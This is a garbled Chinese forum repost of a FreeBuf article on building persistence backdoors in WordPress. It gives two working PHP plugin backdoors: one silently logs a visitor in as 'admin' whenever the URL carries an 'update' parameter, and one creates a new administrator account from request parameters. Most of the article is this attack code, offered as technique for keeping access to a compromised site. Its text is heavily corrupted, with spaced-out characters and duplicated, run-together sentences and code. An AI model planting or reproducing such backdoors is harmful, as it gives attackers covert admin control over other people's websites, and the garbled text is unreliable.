搜索

[12182] 2017-12-31_权限后门系列之一：手动打造WordPress权限后门

文档创建者：s7ckTeam
浏览次数：19
最后更新：2025-01-18
2017-12-31_权限后门系列之一：手动打造WordPress权限后门 权 限 后 门 系 列 之 一 ： 手 动 打 造 W o r d P r e s s 权 限 后 门 c 0 d e b r e a k   F r e e B u f   2 0 1 7 - 1 2 - 3 1 权 限 后 门 是 最 容 易 被 管 理 员 忽 视 的 环 节 ， 通 常 需 要 对 系 统 进 行 全 面 检 查 才 能 发 现 。 本 文 以 权 限 后 门 是 最 容 易 被 管 理 员 忽 视 的 环 节 ， 通 常 需 要 对 系 统 进 行 全 面 检 查 才 能 发 现 。 本 文 以 W o r d p r e s s 为 例 ， 介 为 例 ， 介 绍 两 种 新 型 的 后 门 方 式 。 绍 两 种 新 型 的 后 门 方 式 。 方 案 方 案 1   -   自 动 登 录 管 理 员 账 号 自 动 登 录 管 理 员 账 号 这 种 方 案 较 为 隐 蔽 ， 我 们 只 要 找 到 一 个 管 理 员 账 号 ， 调 用 W o r d p r e s s   A P I ， 实 现 自 动 登 录 即 可 。 在 测 试 环 境 中 ， 我 们 只 有   a d m i n   一 个 账 号 。 为 了 登 录 这 个   账 号 ， 我 们 需 要 进 行 如 下 操 作 我 们 登 录 服 务 器 ， 将 插 件 释 放 在   ， 并 激 活 插 件 ， e . g 激 活 后 ， 就 可 以 成 功 登 录 了 。 这 里 为 了 方 便 演 示 ， 用 的 c U R L 命 令 a d m i n / /   当 带 有   " u p d a t e "   字 样 时 就 执 行 后 门 i f   ( !   i s s e t   ( $ _ G E T [ ' u p d a t e ' ] ) ) {           r e t u r n ; } $ u s e r   =   g e t _ u s e r _ b y ( ' l o g i n ' ,   ' a d m i n ' ) ; i f   ( !   i s _ w p _ e r r o r ( $ u s e r ) ) {         / /   清 空 当 前 认 证 信 息         w p _ c l e a r _ a u t h _ c o o k i e ( ) ;         / /   设 置 管 理 员 的 认 证 信 息         w p _ s e t _ c u r r e n t _ u s e r ( $ u s e r - > I D ) ;         w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ) ;         / /   跳 转 到 管 理 后 台         w p _ s a f e _ r e d i r e c t ( u s e r _ a d m i n _ u r l ( ) ) ;         e x i t ( ) ; } w p - c o n t e n t / p l u g i n s / 0 0 1 - a u t o l o g i n . p h p
方 案 方 案 2   -   创 建 管 理 账 号 创 建 管 理 账 号 这 个 方 法 会 根 据 用 户 输 入 的 账 号 和 密 码 ， 创 建 管 理 员 账 号 。 我 们 编 写 如 下 插 件 ， 安 装 到   W o r d p r e s s   里 ， 激 活 插 件 后 ， 我 们 触 发 一 下 使 用 刚 刚 提 交 的 账 号 密 码 ， a k a     登 录 ， 发 现 管 理 员 账 号 已 经 添 加 成 功 了 : $ _ _ u s e r n a m e   =   @ $ _ R E Q U E S T [ ' _ _ u s e r n a m e ' ] ; $ _ _ p a s s w o r d   =   @ $ _ R E Q U E S T [ ' _ _ p a s s w o r d ' ] ; i f   ( !   i s s e t   ( $ _ _ u s e r n a m e )   | |   !   i s s e t   ( $ _ _ p a s s w o r d )   | |   u s e r n a m e _ e x i s t s   ( $ _ _ u s e r n a m e ) ) {         r e t u r n ; } / /   创 建 用 户 $ u s e r   =   w p _ c r e a t e _ u s e r ( $ _ _ u s e r n a m e ,   $ _ _ p a s s w o r d ,   " r o o t @ l o c a l h o s t . l o c a l d o m a i n " ) ; i f   ( !   i s _ w p _ e r r o r ( $ u s e r ) ) {         $ u s e r   =   g e t _ u s e r _ b y ( ' l o g i n ' ,   $ _ _ u s e r n a m e ) ;         / /   设 置 为 管 理 员 角 色         $ u s e r - > s e t _ r o l e ( ' a d m i n i s t r a t o r ' ) ;         e x i t ( ) ; } h e l l o : w o r l d
写 在 最 后 写 在 最 后 本 文 只 是 以 W o r d p r e s s 插 件 为 例 ， 讲 解 如 何 实 现 后 门 机 制 ， 后 门 代 码 并 不 一 定 放 在 插 件 里 。 至 于 如 何 隐 藏 后 门 ， 本 文 不 再 赘 述 。 完 整 的 测 试 代 码 可 以 在 这 里 下 载 : h t t p s : / / r a s p . b a i d u . c o m / d o w n l o a d / * 本 文 作 者 ： 本 文 作 者 ： c 0 d e b r e a k   ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理